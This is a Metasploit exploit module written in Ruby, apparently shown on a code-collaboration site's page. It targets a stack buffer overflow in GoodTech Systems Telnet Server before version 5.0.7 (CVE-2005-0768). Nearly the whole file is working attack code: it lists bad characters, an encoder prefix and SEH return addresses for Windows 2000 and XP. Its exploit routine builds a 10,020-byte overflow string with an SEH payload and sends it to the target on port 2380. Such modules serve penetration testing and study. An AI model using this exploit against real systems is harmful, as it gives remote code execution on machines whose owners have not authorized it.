Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::Remote::Seh
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'GoodTech Telnet Server Buffer Overflow',
17
        'Description' => %q{
18
          This module exploits a stack buffer overflow in GoodTech Systems Telnet Server
19
          versions prior to 5.0.7. By sending an overly long string, an attacker can
20
          overwrite the buffer and control program execution.
21
        },
22
        'License' => MSF_LICENSE,
23
        'Author' => 'MC',
24
        'References' =>
25
          [
26
            [ 'CVE', '2005-0768' ],
27
            [ 'OSVDB', '14806'],
28
            [ 'BID', '12815' ],
29
          ],
30
        'DefaultOptions' =>
31
          {
32
            'EXITFUNC' => 'thread'
33
          },
34
        'Payload' =>
35
          {
36
            'Space' => 400,
37
            'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
38
            'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44"
39
          },
40
        'Platform' => 'win',
41
        'Targets' =>
42
          [
43
            [ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
44
            [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
45
          ],
46
        'Privileged' => true,
47
        'DisclosureDate' => '2005-03-15',
48
        'DefaultTarget' => 0
49
      )
50
    )
51

52
    register_options(
53
      [
54
        Opt::RPORT(2380)
55
      ]
56
    )
57
  end
58

59
  def exploit
60
    connect
61

62
    sploit = rand_text_english(10020, payload_badchars)
63
    seh = generate_seh_payload(target.ret)
64

65
    sploit[10012, seh.length] = seh
66

67
    print_status("Trying target #{target.name}...")
68

69
    sock.put(sploit + "\r\n\r\n")
70

71
    handler
72
    disconnect
73
  end
74
end
75

76